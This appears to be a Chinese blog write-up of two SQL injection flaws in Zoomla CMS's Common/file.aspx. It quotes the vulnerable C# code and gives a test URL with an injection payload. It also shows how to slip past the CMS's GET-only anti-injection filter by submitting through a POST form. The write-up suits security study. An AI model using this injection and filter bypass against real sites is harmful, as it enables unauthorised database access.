<p>问题文件:\Common\file.aspx<br>注:此问题文件包含两个注入<br>参数:code<br>代码分析如下:</p><pre>protected void Page_Load(object sender, EventArgs e)<br style="margin: 0px; padding: 0px;">
{<br style="margin: 0px; padding: 0px;">
string str = "http://" + HttpContext.Current.Request.Url.Authority.ToString() + "/UploadFiles/" + this.ull.GetLogin(true).UserName;<br style="margin: 0px; padding: 0px;">
if (base.Request.QueryString["code"] == null && base.Request.QueryString["FD"] != null)<br style="margin: 0px; padding: 0px;">
{<br style="margin: 0px; padding: 0px;">
if (base.Request.QueryString["ur"] == null && base.Request.QueryString["state"] == null)<br style="margin: 0px; padding: 0px;">
{<br style="margin: 0px; padding: 0px;">
string value = base.Server.UrlDecode(base.Request.QueryString["FD"]);<br style="margin: 0px; padding: 0px;">
this.FileUrl = this.FileJiema(value);<br style="margin: 0px; padding: 0px;">
this.hid.Value = base.Server.UrlDecode(base.Request.QueryString["FD"]);<br style="margin: 0px; padding: 0px;">
}<br style="margin: 0px; padding: 0px;">
else<br style="margin: 0px; padding: 0px;">
{<br style="margin: 0px; padding: 0px;">
if (base.Request.QueryString["state"] == null)<br style="margin: 0px; padding: 0px;">
{<br style="margin: 0px; padding: 0px;">
string value2 = base.Request.QueryString["FD"].ToString().Replace(" ", "+");<br style="margin: 0px; padding: 0px;">
this.FileUrl = this.FileJiema(value2);<br style="margin: 0px; padding: 0px;">
this.hid.Value = value2;<br style="margin: 0px; padding: 0px;">
}<br style="margin: 0px; padding: 0px;">
}<br style="margin: 0px; padding: 0px;">
if (base.Request["state"] != null && base.Request["state"] == "tr")<br style="margin: 0px; padding: 0px;">
{<br style="margin: 0px; padding: 0px;">
string value3 = base.Request.QueryString["FD"];/*第一种注入:带sql的Base64字符串*/<br style="margin: 0px; padding: 0px;">
this.FileUrl = this.FileJiema(value3);/*第一种注入:解码字符串FromBase64String(value));*/<br style="margin: 0px; padding: 0px;">
this.hid.Value = value3;<br style="margin: 0px; padding: 0px;">
this.file = this.bfile.SelectFile(string.Concat(new object[]<br style="margin: 0px; padding: 0px;">
{<br style="margin: 0px; padding: 0px;">
" FileName='",<br style="margin: 0px; padding: 0px;">
this.FileUrl,<br style="margin: 0px; padding: 0px;">
"' and userid=",<br style="margin: 0px; padding: 0px;">
this.ull.GetLogin(true).UserID<br style="margin: 0px; padding: 0px;">
}));/*第一种注入:this.bfile.SelectFile会直接代入sql注入*/<br style="margin: 0px; padding: 0px;">
if (this.file.DownUrl == null)<br style="margin: 0px; padding: 0px;">
{<br style="margin: 0px; padding: 0px;">
base.Response.Write("0");<br style="margin: 0px; padding: 0px;">
base.Response.End();<br style="margin: 0px; padding: 0px;">
return;<br style="margin: 0px; padding: 0px;">
}<br style="margin: 0px; padding: 0px;">
base.Response.Write("http://" + HttpContext.Current.Request.Url.Authority.ToString() + "/Common/File.aspx?code=" + this.file.ExtractionCode);<br style="margin: 0px; padding: 0px;">
base.Response.End();<br style="margin: 0px; padding: 0px;">
return;<br style="margin: 0px; padding: 0px;">
}<br style="margin: 0px; padding: 0px;">
else<br style="margin: 0px; padding: 0px;">
{<br style="margin: 0px; padding: 0px;">
if (base.Request.QueryString["ur"] != null)<br style="margin: 0px; padding: 0px;">
{<br style="margin: 0px; padding: 0px;">
this.file.ExtractionCode = function.GetRandomString(8, 1);<br style="margin: 0px; padding: 0px;">
this.file.DownUrl = str + this.FileUrl;<br style="margin: 0px; padding: 0px;">
this.file.State = 1;<br style="margin: 0px; padding: 0px;">
this.file.UserID = this.ull.GetLogin(true).UserID;<br style="margin: 0px; padding: 0px;">
this.file.FileName = this.FileUrl;<br style="margin: 0px; padding: 0px;">
this.bfile.AddFile(this.file);<br style="margin: 0px; padding: 0px;">
base.Response.Write("http://" + HttpContext.Current.Request.Url.Authority.ToString() + "/Common/File.aspx?code=" + this.file.ExtractionCode);<br style="margin: 0px; padding: 0px;">
base.Response.End();<br style="margin: 0px; padding: 0px;">
return;<br style="margin: 0px; padding: 0px;">
}<br style="margin: 0px; padding: 0px;">
}<br style="margin: 0px; padding: 0px;">
}<br style="margin: 0px; padding: 0px;">
else<br style="margin: 0px; padding: 0px;">
{<br style="margin: 0px; padding: 0px;">
/*第二种注入:比较简单 直接代入code参数*/<br style="margin: 0px; padding: 0px;">
if (base.Request.QueryString["code"] != "" && base.Request.QueryString["code"] != null)<br style="margin: 0px; padding: 0px;">
{<br style="margin: 0px; padding: 0px;">
this.file = this.bfile.SelectFile(" ExtractionCode='" + base.Request.QueryString["code"] + "' ");<br style="margin: 0px; padding: 0px;">
base.Response.Redirect(this.file.DownUrl);/*然后跳转URL URL中不能包含换行符 所以我这里采用截取的方式以及拼接的方式*/<br style="margin: 0px; padding: 0px;">
}<br style="margin: 0px; padding: 0px;">
}<br style="margin: 0px; padding: 0px;">
}<br style="margin: 0px; padding: 0px;">
this.bfile.SelectFile方法代码如下:<br style="margin: 0px; padding: 0px;">
public M_File SelectFile(string where)<br style="margin: 0px; padding: 0px;">
{<br style="margin: 0px; padding: 0px;">
if (where == "")<br style="margin: 0px; padding: 0px;">
{<br style="margin: 0px; padding: 0px;">
this.sql = "select * from ZL_File";<br style="margin: 0px; padding: 0px;">
}<br style="margin: 0px; padding: 0px;">
else<br style="margin: 0px; padding: 0px;">
{<br style="margin: 0px; padding: 0px;">
this.sql = "select * from ZL_File where " + where;/*直接将条件带入 导入SQL注入 */<br style="margin: 0px; padding: 0px;">
}<br style="margin: 0px; padding: 0px;">
略...<br style="margin: 0px; padding: 0px;">
}</pre><p>可以构造利用代码如下:<br>本地:<a href="http://192.168.1.100:8087/Common/File.aspx?code=" rel="nofollow">http://192.168.1.100:8087/Common/File.aspx?code=</a>'<br>但是这个时候访问会被sql注入拦截<br>那么我们看global中的拦截代码:</p><pre class="">
{<br style="margin: 0px; padding: 0px;">
if (base.Request.RequestType.ToUpper() == "GET" && ZoomlaSecurityCenter.GetData())<br style="margin: 0px; padding: 0px;">
{<br style="margin: 0px; padding: 0px;">
function.WriteMessage("产生错误的可能原因:你提交的参数不正确,包含恶意字符串,或检查系统是否开启了SQL防注入功能!", "", "非法SQL注入或存储!");<br style="margin: 0px; padding: 0px;">
}<br style="margin: 0px; padding: 0px;">
if (base.Request.HttpMethod.ToUpper() == "POST" && HttpContext.Current.Request.Files.Count > 0)/*我可以在这里通过post提交方式即可绕过*/<br style="margin: 0px; padding: 0px;">
{<br style="margin: 0px; padding: 0px;">
ZoomlaSecurityCenter.CheckUpladFiles();<br style="margin: 0px; padding: 0px;">
}<br style="margin: 0px; padding: 0px;">
}</pre><p>综合上面分析采用下面的方式绕过以及注入<br>建立一个form表单代码如下:</p><pre class=""><form id="form1" action="注入地址" method="post"><br style="margin: 0px; padding: 0px;">
<br style="margin: 0px; padding: 0px;">
<input type="submit" value="逐浪CMS 注入" /><br style="margin: 0px; padding: 0px;">
<br style="margin: 0px; padding: 0px;">
</form></pre><p>将URL填写到form中action中即可</p>
暂无评论